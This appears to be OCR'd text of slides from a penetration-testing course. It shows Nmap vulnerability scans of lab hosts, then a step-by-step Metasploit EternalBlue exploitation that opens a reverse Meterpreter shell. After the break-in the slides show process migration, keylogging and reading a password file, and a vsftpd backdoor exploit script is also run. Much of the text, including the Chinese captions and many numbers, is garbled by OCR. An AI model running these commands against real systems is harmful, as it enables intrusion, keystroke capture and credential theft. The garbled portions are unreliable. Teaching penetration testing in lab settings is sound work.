| smb2-time:
| date: 2024-03-08T06:37:20
start_date: 2024-93-08TB6:25:16
smb2-security-mode:
2:1:@:
Message signing enabled but not required
_clock-skew: mean: 2h@@m@ls, deviation: 3h27m51s, median: @s

_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:8a:89:1d:39:53 (unknown)

I_
|
|
I_
|
|
| smb-os-discovery:

| 0S: Windows 7 Professional 7681 Service Pack 1 (Windows 7 Professional 6.1)
| 0S5 CPE: cpe:/o:microsoft:windows_7::spl:professional

| Computer name: Jon-PC

| NetBIOS computer name: JON-PC\x@0

|  Workgroup: WORKGROUP\x@@

|_ System time: 2024-03-08T@0:37:20-06:00

| smb—security—mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 44.22 seconds
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# Nmap NSE

[EE

« HE Nmap T2 —EEZAISSIREE

o --script <5935 5T >

[:—Ekaliﬁikali]-i"]

S nmap -p 445 ——script smb-vuln-msl17-81@ 16.18.12.33

Starting Nmap 7.945¥N ( https://nmap.org )} at 2024-03-88 81:39 EST
Nmap scan report for 18.10.12.33

Host is up (@.42s latency).

i

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-vuln-msl17-016:
|  VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (msl7-910)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution wvulnerability exists in Microsoft SMBvl
| servers (msl17-91@).
|

|

|

|

|

|

Disclosure date: 2017-23-14

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/85/12/customer-guidance-for-wannacrypt-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-018.aspx

Mmap done: 1 IP address (1 host up) scanned in 12.81 seconds 142



# Nmap NSE

il
=
i

« HE Nmap th 22— EE&ZAI551
e --script <352527E >

victim@victimserver:~$ nmap -sV 127.0.0.1 -puli3 ——script ssl-heartbleed
Starting Nmap 7.80 ( https://nmap.org ) at 2024-83-11 @7:55 UTC

Nmap scan report for localhost (127.0.8.1)

Host is up (0.00085s latency).

PORT STATE SERVICE VERSION

uu3/tcp open ssl/http nginx 1.11.13

|_http-server-header: nginx/1.11.13

| ssl-heartbleed:

|  VULNERABLE:

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intend
| State: VULNERABLE

| Risk factor: High

| OpenSSL versions 1.0.1 and 1.8.2-beta releases (including 1.0.1f and 1.0.2-betal) of OpenSSL are affected by the Heartbleed bug. The bug a
OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

|
| References:

| http://cvedetails.com/cve/2014-0160/

| https://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-2014-0160
I_ http: //www.openssl.org/news/secadv_20140U07.txt

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP addre;sICI host up) scanned in 12.70 seconds 143



# Nmap NSE

(kali\7kali) [~]

[I [I S \é “’ ,,_, T S nmap -p 445 —script *vuln* 10.10.12.33
E >|> ““ /LJ\ Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 01:41 EST

Nmap scan report for 10.10.12.33
Host is up (@.45s latency).

PORT STATE SERVICE

- _SC ri pt 7VCVLI | n ® 445/tcp open microsoft-ds

Host script results:
| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

15 iE7_J iE7_J iE7_J ,r::'an | smb-vuln-ms17-010:
= (| (| (| =2 | VULNERABLE:

Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (ms17-010).

|
|
|
|
|
|
|
| Disclosure date: 2017-03-14

| References:

| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

I_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| _smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 19.5@ seconds
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# Lab

7 RliE#E nmap #F Linux #2309
e 21 Port
e 22 Port

e 443 Port
o L MARIARTE 2 RIBE ML CVE 5985
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# Lab

« 7 A3E#E nmap 1FiH
o Linux #2509 21 Port
* Linux #2309 22 Port
* Linux #%g8RY 443 Port
» Windows #zshY 445 Port
« T MMRIARTE 2 B AL CVE 593,
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# Lab — Linux 21 Port

[:—Ekaliﬁikalij—:ftmp:

% nmap -p2l1 —script #vuln®* -Pn -5V 192.168.48.,129

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-07 82:13 EDT
Nmap scan report for 192.168.48.129

Host is up (@.0014s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

| vulners:

I cpe:/fa:vsftpd:vsftpd:2.3.4:

I PRION:CVE-2011-2523 10.0 https://vulners.com/prion/PRION:CVE-2811-2523

I EDE-ID: 49757 18.8 https://vulners.com/exploitdb/EDB-ID: 49757 *EXPLOIT=*

I 1337DAY-1ID-36895 8.8 https://vulners.com/zdt/1337DAY-ID-36095 *EXPLOIT#*

Service Info: 05: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address {1 host up) scanned in 8.89 seconds
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# Lab — Linux 22 Port

L_( kali® kali)-[/tmp]

$ nmap -p22 --script *vuln* -Pn -sV 192.168.48.129

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-07 02:12 EDT
Nmap scan report for 192.168.48.129

Host is up (0.0013s latency).

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.7 (protocol 2.0)

| vulners:

| cpe:/a:openbsd:openssh:7.7:

| PRION:CVE-2019-6111 5.8 https://vulners.com/prion/PRION:CVE-2019-6111

| EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19 *EXPLOIT*
| EXPLOITPACK:5330EA@2EBDE345BFC9D6DDDD97F9E97 5.8 https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9ES7 *EXPLOIT*
| EDB-ID: 46516 5.8 https://vulners.com/exploitdb/EDB-ID: 46516 *EXPLOIT*

| EDB-ID: 46193 5.8 https://vulners.com/exploitdb/EDB-ID:46193 *EXPLOIT*

| CVE-2019-6111 5.8 https://vulners.com/cve/CVE-2019-6111

| 1337DAY-ID-32328 5.8 https://vulners.com/zdt/1337DAY-ID-32328 *EXPLOIT*

| 1337DAY-ID-32009 5.8 https://vulners.com/zdt/1337DAY-ID-32009 *EXPLOIT*

| SSH_ENUM 5.0 https://vulners.com/canvas/SSH_ENUM *EXPLOIT*

| PRION:CVE-2018-15919 5.0 https://vulners.com/prion/PRION:CVE-2018-15919

| PRION:CVE-2018-15473 5.0 https://vulners.com/prion/PRION:CVE-2018-15473

| PACKETSTORM:150621 5.0 https://vulners.com/packetstorm/PACKETSTORM: 150621 *EXPLOIT*

| MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS- 5.0 https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS- *EXPLOIT*

| EXPLOITPACK: F957D7E8BAQCCIE23C3C649B764E13FB0O 5.0 https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A@CCI1E23C3C649B764E13FB0O *EXPLOIT*
| EXPLOITPACK: EBDBC5685E3276D648B4D14B75563283 5.0 https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283 *EXPLOIT*
| EDB-ID:45939 5.0 https://vulners.com/exploitdb/EDB-ID:45939 *EXPLOIT*

| EDB-ID:45233 5.0 https://vulners.com/exploitdb/EDB-ID:45233 *EXPLOIT*

| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919

| CVE-2018-15473 5.0 https://vulners.com/cve/CVE-2018-15473

| 1337DAY-ID-31730 5.0 https://vulners.com/zdt/1337DAY-ID-31730 *EXPLOIT*

| PRION:CVE-2019-16905 4.4 https://vulners.com/prion/PRION:CVE-2019-16905

| CVE-2019-16905 4.4 https://vulners.com/cve/CVE-2019-16905

| CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145

| PRION:CVE-2019-6110 4.0 https://vulners.com/prion/PRION:CVE-2019-6110

| PRION:CVE-2019-6109 4.0 https://vulners.com/prion/PRION:CVE-2019-6109

| CVE-2019-6110 4.0 https://vulners.com/cve/CVE-2019-6110

| CVE-2019-6109 4.0 https://vulners.com/cve/CVE-2019-6109

| CVE-2023-51767 3.5 https://vulners.com/cve/CVE-2023-51767

| PRION:CVE-2018-20685 2.6 https://vulners.com/prion/PRION:CVE-2018-20685

| CVE-2018-20685 2.6 https://vulners.com/cve/CVE-2018-20685

| PACKETSTORM:151227 0.0 https://vulners.com/packetstorm/PACKETSTORM: 151227 *EXPLOIT*

I_ 1337DAY-ID-30937 0.0 https://vulners.com/zdt/1337DAY-ID-30937 *EXPLOIT*

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
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# Lab — Linux 443 Port

[:—(kaliﬁﬁkali]—:ftmp:

£ nmap -p443 —script #vuln* -Pn -sV 192.168.48.129

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-07 ©02:13 EDT
Nmap scan report for 192.168.48.129

Host is up (@.0013s latency).

PORT STATE SERVICE VWERSION

443/tcp open ssl/http nginx 1.11.13

| _http-server-header: nginx/1.11.13

| http-vuln-cve2011-3192:

|  VULNERABLE:

I Apache byterange filter DoSs

I State: VULNERAELE

I IDs: CVE:CVE-2011-3192 BID:49383

I The Apache web server is vulnerable to a denial of service attack when numerous
I overlapping byte ranges are reguested.

I Disclosure date: 2011-88-19

I References:

I https://seclists.org/fulldisclosure/2011/Aug/175

I https://ww .securityfocus.com/bid/49303

I https://www .tenable.com/plugins/nessus/55976

I_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 23.3@ seconds
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# Lab — Windows 445 Port

[:—[kaliiﬁkali]—:ftmpradfntlm_theftfdemn:

S nmap -sV -A -p445 ——script #vuln® 192.16B8.48.138@

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-@4-21 04:06 EDT
Mmap scan report for 192.168.48.130

Host is up (0.0011s latency).

PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows 7 - 1@ microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: WIN-S8BOPD1GTOSE; 05: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

| smb-vuln-msl@-061: NT_STATUS ACCESS DENIED

| smb-vuln-ms17-810:

|  VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (msl7-010)
| State: VULNERABLE

| IDs: CVE:CVE-2817-8143

| Risk factor: HIGH

I & critical remote code execution vulnerability exists im Microsoft SMBvl
| servers (msl17-01@).

I

|

I

|

|

I_

I_

Disclosure date: 2817-83-14
References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
smb-vuln-ms1@-854: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 11.66 seconds
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(kali® kali)- ~_
[:; msfconsole -g -x "use windows/smb/ms17_01@0_eternalblue;set LHOST 1@.17.17.207;set RHOST 1@.18.75.137;run;"

[*] No payload configured. defaulting to windows/x64/meterpreter/reverse_tcp
LHOST = 10.17.17.207

RHOST = 18.10.75.137

[*] Started reverse TCP handler on 10.17.17.207:4444

[#] 10.10.75.137:445 - Using auxiliary/scanner/smb/smb_ms17_01@ as check

[+] 10.10.75.137 1445 - Host is likely VULNERABLE to M517-810@! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[#] 10.10.75.137:445 - Scanned 1 of 1 hosts (100% complete)

[+] 10.18.75.137:445 - The target is wulnerable.

[*] 18.10.75.137:445 - Connecting to target for exploitation.

[+] 10.18.75.137:445 - Connection established for exploitation.

[+] 18.1@.75.137:445 - Target 05 selected valid for 0S5 indicated by SME reply
[#] 10.10.75.137:445 - CORE raw buffer dump (42 bytes)

[*#] 10.10.75.137:445 - @=QPOEEEO0@ 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[#] 10.10.75.137:445 - B=Q000001@ 73 69 6f 6e 61 6C 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv

[#] 10.10.75.137:445 - D=P000PO20 69 63 65 20 50 61 63 6b 28 31 ice Pack 1
[+] 10.1@.75.137:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*#] 10.10.75.137:445 - Trying exploit with 12 Groom Alleocations.
[*#] 18.10.75.137:445 - Sending all but last fragment of exploit packet
[*] 10.10.75.137:445 - Starting non-paged pool grooming
[+] 18.18.75.137:445 - Sending SMBv2 buffers
[+] 10.10.75.137:445 - Closing SMBvl connection creating free hole adjacent to SMBv2 buffer.
[#] 10.1@.75.137:445 - Sending fimal SMBv2 buffers.
[#] 10.1@.75.137:445 - Sending last fragment of exploit packet!
[#] 10.10.75.137:445 - Receiving response from exploit packet
] 10.10.75.137:445 - ETERNALBLUE overwrite completed successfully (@xCO00200D)!
#] 18.10.75.137:445 - Sending egg to corrupted connection.
] 18.10.75.137:445 - Triggering free of corrupted buffer.
] Sending stage (200774 bytes) to 10.10.75.137

[+] Meterpreter session 1 opened (10.17.17.287:4444 — 10.10.75.137:49169) at 2024-03-08 02:13:20 -0500

[+] 10.10.75.137:445 - =-=
[+] 10.10.75.137:445 - =-
[+] 18.10.75.137 445 — =—=-=-=-=—=—=-—=—=—=-=-=-=-=—=—=—=—=—=-—=—=—=-—=—=—=—=—=—=—=—=-=

meterpreter > getuid
Server username: NT AUTHORITY'\SYSTEM

meterpreter > shell

Process 2304 created.

Channel 1 created.

hMicrosoft Windows [Version 6.1.76011]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32 hostname
hostname
Jon-PC

C:\Windows\system32>[]
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N

o) Al A

» Metasploit 2—1E:EPErV B E{EiRER A LR
- T ZEREZERNKEBAE LR
o B3 A msfconsole Tt o] DIZE A B ES

# Metasploit Jm)

=[ metasploit v6.3.43-dev ]
+ — —=[ 2376 exploits - 1232 auxiliary - 416 post 1
+ — -——=[ 1391 payloads - 46 encoders - 11 nops 1
+ — —=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

[#] Starting persistent handler(s) ...
msf6 > |
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—~7]

# Metasploit Jmia Fl

- BREEHIIET] KN ZEETR)E
« OJPL5CE A search eternalblue

msf6é > search eternalblue

Matching Medules

# Mame Disclosure Date Rank Check Description

exploit/windows/smb/ms17_010_gternalblug 2017-03-14 average Yes M517-010 EEEFNalBLUE SME Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms17_01@_psexec 2017-03-14 normal Yes M517-81@ EternalRomance/EternalSynergy/EternalChampion SME Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_01@_command 2017-03-14 normal No M517-018 EternalRomance/EternalSynergy/EternalChampion SME Remote Windows Command Execut
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-01@ SMBE RCE Detection

4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMBE DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
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# Metasploit Jmia Fl

s REEFHIEY] KE ZEE R
o] PL5c#g A search eternalblue

s BB ZHERAE  EEERFIES—E
exploit/windows/smb/msl7_OlO_eternaIblue

msf6é > search eternalblue

Matching Medules

# Mame Disclosure Date Rank Check Description

exploit/windows/smb/ms17_010_gternalblug 2017-03-14 average Yes M517-010 EEEFNalBLUE SME Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms17_@10_psexec 2017-03-14 normal Yes M517-81@ EternalRomance/EternalSynergy/EternalChampion SME Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_@1@_command 2017-03-14 normal No MS17-81@ EternalRomance/EternalSynergy/EternalChampion SME Remote Windows Command Execut
3 auxiliary/scanner/smb/smb_ms17_010 normal No M517-010 SME RCE Detection

4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMBE DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce 154



# Metasploit Jmia Fl

TI

@@ A use exploit/windows/smb/ms17_010_eternalblue

mst6 exploit(

» B# A options BT EZLETESE

) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name

Current Setting Required Description

RHOSTS

RPORT 445
SMBDomain

SMBPass

SMBU
VERI
VERI

ser
FY_ARCH true
FY_TARGET true

yes
yes
no
no
no
yes
yes

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)

(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,
(Optional) The password for the specified username

(Optional) The username to authenticate as

Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Wind
Check if remote 0S matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedd

Payload options (windows/x64/meterpreter/reverse_tcp):

Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)

Name Current Setting Required Description

EXITFUNC thread yes

LHOST 192.168.48.128 yes

LPORT 444 yes The listen port
Exploit target:

Id Name

@ Automatic Target

155



# Metasploit

—1 S

N
/|

—~7]

9 A R

- # 15 E Remote Target Host (RHOSTS)

« 2 Windows B Victim B9 IP

« set RHOSTS 192.168.48.130

ﬁ;fﬁ-expiait(

) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Regquired Description

Name Current Setting
RHOSTS 192.168.48.130
RPORT 445

SMBDomain

SMBPass

SMBUser

VERIFY_ARCH true
VERIFY_TARGET true

yes
yes
no
no
no
yes
yes

The target host(s), see https://docs.metasp
The target port (TCP)

(Optional) The Windows domain to use for au
(Optional) The password for the specified u
(Optional) The username to authenticate as

Check if remote architecture matches explol
Check if remote 0S matches exploit Target.

¢ EE E’%J\ﬁ1Fﬂ I %% E/\J I P EF{ I_H OST N % Payload opticns (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Reguired Description

EXITFUNC thread yes

o RA—1XRIEETAEA set LHOST XXX XXX XXX XXX bt o2z yes

- BRE A options &

=
I

Exploit target:

EXE

-1 58 o

@ Automatic Target

Exit technigue (Accepted: '', seh, thread, proce:
The listen address (an interface may be specifie
The listen port

View the full module info with the info, or info -d command.
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# Metasploit Jmia Fl

- B A\ exploit BIRETINE - BlojE AZFI (meterpreter)

msf6 exploit(

[#]
[*]
[+]
[*]
[+]
[*]
[+]
[+]
[*]
[*]
[*]
[+]
[*]
[*]
[*]
[+]
[+]
[*]
£
[*]
[+]
[*]
£
[*]
[*]
[+]
[+]
[+]

meterpreter > [j

Started

192,
1025
192.
192.
192.
192.
192.
192.
192.
102,
192.
192,
192.
192.
192,
192.
192.
192.
192.
192.
192.
192,

168,
168,
168,
168,
168.
168,
168.
168,
168.
168,
168.
168,
168.
168,
168.
168,
168.
168,
168.
168,
168.
168,

Sending

—~7]

) > exploit

reverse TCP handler on 192.168.48.128:4444
445 - Using auxiliary/scanner/smb/smb_ms17_81@ as check

48.
48.
48,
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.
48.

138:
13@:
13@:
13@:
13@8:
13@:
13@8:
13@:
13@:
13@:
13@8:
13@:
13@8:
13@:
13@8:
13@:
13@8:
13@:
13@8:
13@:
13@8:
13@:

445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445

- Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7600 x64 (64-bit)
- Scanned 1 of 1 hosts (100% complete)
The target is wvulnerable.
Connecting to target for exploitation.
Connection established for exploitation.
Target 05 selected valid for 0S5 indicated by SMB reply
CORE raw buffer dump (23 bytes)
0=0PPP0AR 57 69 6e 64 6Ff 77 73 20 37 20 55 6C 74 69 6d 61 Windows 7 Ultima
Bx@0eQ0e18 74 65 2@ 37 36 38 3@ te 7600
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations.
Sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBvl connection creating free hole adjacent to SMBw2 buffer.
Sending final SMBw2 buffers.
Sending last fragment of expleit packet!
Receiving response from exploit packet
ETERNALELUE overwrite completed successfully (@=Coe@eeeD)!
Sending egg to corrupted connection.
Triggering free of corrupted buffer.

stage (200774 bytes) to 192.168.48.130
Meterpreter session 1 opened (192.168.48.128:4444 — 192.168.48.130:49304) at 2024-04-21 @3:49:42 -0400
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# S RFIR - 2= ol DUREE

e i A screenshot o] BN S #H EHE N = =8,

meterpreter > screenshot

Screenshot saved to: /tmp/Bad/ntlm_theft/demo/Pf0ZaGEy. jpeg

meterpreter > |

= PfOZaGEy.jpeg - Image Viewer
File Edit View Go Help

[Ethernet adapter Bluetooth Network Connection:

Media State : Media disconnected
Connection—specific DNS Suffix 2

thernet adapter Local Area Connection:
Connection—specific DNS Suffix . : localdomain
Link-local IPu6 Address : fe8@::5cf7:16a4:5% :c7a9x11
1Pu4 Address : 192.168.48.130
Subnet Mask = 255.255.255.08
Default Gateway : 192.168.48.2
Tunnel adapter isatap.{ABB1233F-6BB8-442F-AE89-2D86922F6C4E}:

Media State : Media disconnected
Connection—specific DNS Suffix . =

unnel adapter isatap.localdomain:

Media State : Media disconnected
Connection—specific DNS Suffix . : localdomain

€l Network

1item

=1
=]
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# HUS&FIR - MZF ol DUNEEE?

« @A ps O] DIERERZ

meterpreter > ps

Process List

PID
4
228
260
280
296
348
360
400
L4
452
460
564
628
680
764
836
852
1016

PPID

764
444
288
288
340
340
348
348
348
444
444
444
444
2040
444
444

Name

=80 Process rikge

[System Process]

System
SMS5.exe
dwm. exe
svchost.exe
C5T55.exe
wininit.exe
C5T55.exe
winlogon.exe
services.exe
lsass.exe
lsm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
explorer.exe
svchost.exe
svchost.exe

Arch Session User

x64 6]

x64 6] NT AUTHORITY%SYSTEM

x64 1 WIN-S8BOPD1GTOSENAAmMIN

x64 6] NT AUTHORITY\NETWORK SERVICE
x64 6] NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY%SYSTEM

x64 1 NT AUTHORITY%SYSTEM

x64 1 NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY\NETWORK SERVICE
x64 6] NT AUTHORITY'LOCAL SERVICE
x64 6] NT AUTHORITY%SYSTEM

x64 1 WIN-S8BOPD1GTOSENAAmMIN

x64 6] NT AUTHORITY%SYSTEM

x64 6] NT AUTHORITY'LOCAL SERVICE

Path

“SystemRoot\System32\smss.exe
C:\Windows\system32\Dwm.exe

\Windowshsystem32hcsrss.exe
\Windowshsystem32\wininit.exe
\Windowshsystem32hcsrss.exe
\Windowshsystem32\winlogon.exe
\Windowshsystem32iservices.exe
\Windowshsystem32hlsass.exe
\Windowshsystem32hlsm.exe

(o O e O e T T e O T

C:\Windows\Explorer.EXE
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# HUS&FIR - MZF ol DUNEEE?

« B A migrate PID oJPIZEmEH#EIEMIESRI Process

meterpreter > migrate 836

[#] Migrating from 10680 to 836 ...

L*] Migration completed successfully.
meterpreter > |
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# BS&EPIE - 2= o LUNEEE?
@ A\ keyscan_start o] DL AR5 85 I £
s (REEERERFEANLZESAEE - WHAEEFRHE

i
=2
XIx
N’

Ethernet adapter Bluetooth Metwork Connection:

Media State . . -
Connection— spec1f1c DNS Suffix .

Media disconnected

Ethernet adapter Local Area Connection: Untitled - Motepad

localdomain File Edit Format View Help
H- H =Ci

iggaiégcﬁg-iga4'5' Hello world

255255 .255. @ This is a test for the key logger|

192 _168._.48_2
Tunnel adapter isatap.{ABB1233F-6BBB—442F-AEB?-2DB6?22FGI

Connection—specific DHS Suffix
Link—local IPv6 Address . . . .
IPuv4 Address. . . - . . - - . .
Subnet Mask . . . . . . . . . .

Default Gatewaw . . . .

Media State . .
Connection— spec1f1c DHE Eufflx

Media disconnecte:

Tunnel adapter isatap.localdomain:

Media State . .
Connection— spec1f1c DNS Suffisx

Media disconnectei
localdomain

C:sUserssAdminsDesktopsarmeow meow Secret PREUWWHRAYY

161



# HUS&FIR - MZF ol DUNEEE?

- & A keyscan_dump o] P EXVfF TRl

A BHNAS

meterpreter > keyscan_start

Starting the keystroke sniffer ...

meterpreter > keyscan_dump

Dumping captured keystrokes ...

meow meow <Right Shift>Sc<®H>ecret <Right Shift>Powwe@rd<Right Shift>!! notepad<CR>
<Right Shift>Hello <Right Shift>World<CR>

<Right Shift>This 1s a test for the key logger
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# HUSRFIE -

- EEREZE B

_’_

ShE

522 0] DUSIE EE?
0l Bl

meterpreter > 1s C:stérafndminfDesktnp

Listing: C:/Users/Admin/Desktop

Mode

B4B7 77/ TWXTWETWX
100666/ rw-rw-ru-
100666/ rw-rw-rw-
100666/ rw-rw-rw-
100777/ rwxrwxrwx

Last modified

Size  Type
@ dir
13539 fil
282 fil
57 fil

73802 fil

2024-04-21 @3
2024-04-21 @3
2024-04-07 01
2024-04-21 @3
2024-04-21 @2

130
133
115
159
112

48
130
31+
;18
143

-0400
-0408@
-0400
-0400
-0408@

meterpreter > cat C:/Users/Admin/Desktop/password.txt

This is a secret file for demo

My password is C@ttt123!'meterpreter > |

Name

a

cmd - Shortcut.lnk
desktop.ini
password.txt

s.exe
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# Lab

- £ Metasploit 2R Z Windows #2889 Eternal Blue J&)ia

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set LHOST xxxx

set RHOST xxxx

exploit
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LI

# A AN

BB A T ASTIE 2

« A—7E - BIUA Linux 21 Port Y vsftpd 2.3.4 E45AIEZET 1B/

» (RDEASME ZEEH 6200 Port 1B E 2 )

~AETR 259 R B ARES]

IBRVEI SR AR ERIBES R

msf6 exploit( } > run

[#] 192.168.48.129:21 - Banner: 220 (vsFTPd 2.3.4)

[#] 192.168.48.129:21 - USER: 331 Please specify the password.

[#] Exploit completed, but no session was created.
msf6 exploit( ) >
msf6 exploit( 1 > exit

[

[lali® kali)-[/tmp/Bad/CVE-2011-2523]
python3 exploit.py -host 192.168.48.129
/tmp/Bad/CVE-2011-2523/exploit.py:12: DeprecationWarning: 'telnetlib’ is deprecated a

from telnetlib import Telnet

If it take so long to connect to host then check host is running vsftpd or not!
[+]0pening Connection to 192.168.48.129 on port 21: Done
[+]0pening Connection to 192.168.48.129 on port 6280@: Done
Traceback (most recent call last):

File "/tmp/Bad/CVE-2011-2523/expleit.py”, line 5@, in <module>
tn2 = Telnet(host, 6288)

AAAAAAAAAAAAAAAAAA

File "/usr/lib/python3.11/telnetlib.py", line 221, in _ _init__
self.open(host, port, timeout)

File "/usr/lib/python3.11/telnetlib.py"”, line 238, in open
self.sock = socket.create_connection((host, port), timeout)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

File "/usr/lib/python3.11/socket.py”, line 851, in create_connection

raise exceptions[@]

File "/usr/lib/python3.11/socket.py”, line 836, in create_connection

sock.connect(sa)
ConnectionRefusedError:

[Errno 111] Connection refused
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# 99w LEEN

- HWEIIIF
« Acunetix : 1 FF 20 BILIREL 57 S
« BurpSuitePro : —%F# 2 &
- OWASP Zap Proxy : &
. RMI9IF
« Nessus Scan : —F 4 13 25
« GVM (OpenVAS) : &
- [RIG5SF
« SonarCube : 2000 BT - 171 251
« Checkmarx : —Fx 114 281

- B ARE—EBENERE  2ENERLLRE

Y



1124 — R RSB S F ST A R R

B Aised S BEER:

1120201 #z #4458 HR © 112/04/24 - 228k 8 85 - 113/04/23

Bl AR eI Sy A PR 2 3]

F#seit - 1120201-314

F1o8 HE_

2 EEAF B

mA | WX B

UEE’ Z

RARRE (BH)

283 Solarwinds

Solarwinds Hybrid Cloud Observability;& & EF2 & FEEES 250(EE iz —=

$1,009,019

Solarwinds

Solarwinds Hybrid Cloud Observability;& & EF22E RS 25ER I —F

$201,804

Solarwinds

Solarwinds Hybrid Cloud Observability;& &2 FZ2 E M EUR SO0EEEFIZHE, STEIMISERCES B SHEE

f—t

iz

$2,858,888

Systex Software

SHREERFE

$508,089

Tenable Inc.

Nessus Agents -512u (BBE)

$421,469

Tenable Inc.

Nessus Professional B B 04T 59 BEF (5 BER 7 25, —SE HU R

$146,562

Tenable Inc.

Nessus Professional T B2 04E g9 BEF(E M2 0L 77 ZE(-S MEPR S T 48, — SR ot

$158,696

Tenable Inc.

Security Center-512 IP (2%

$1,949.,965

Tenable Inc.

Security Center-512 IP (BEE)- U & Ba 7 1

$606,603

Tenable Inc.

SecurityCenter Plus -512 IP (F5E)

$2.426,6084

Tenable Inc.

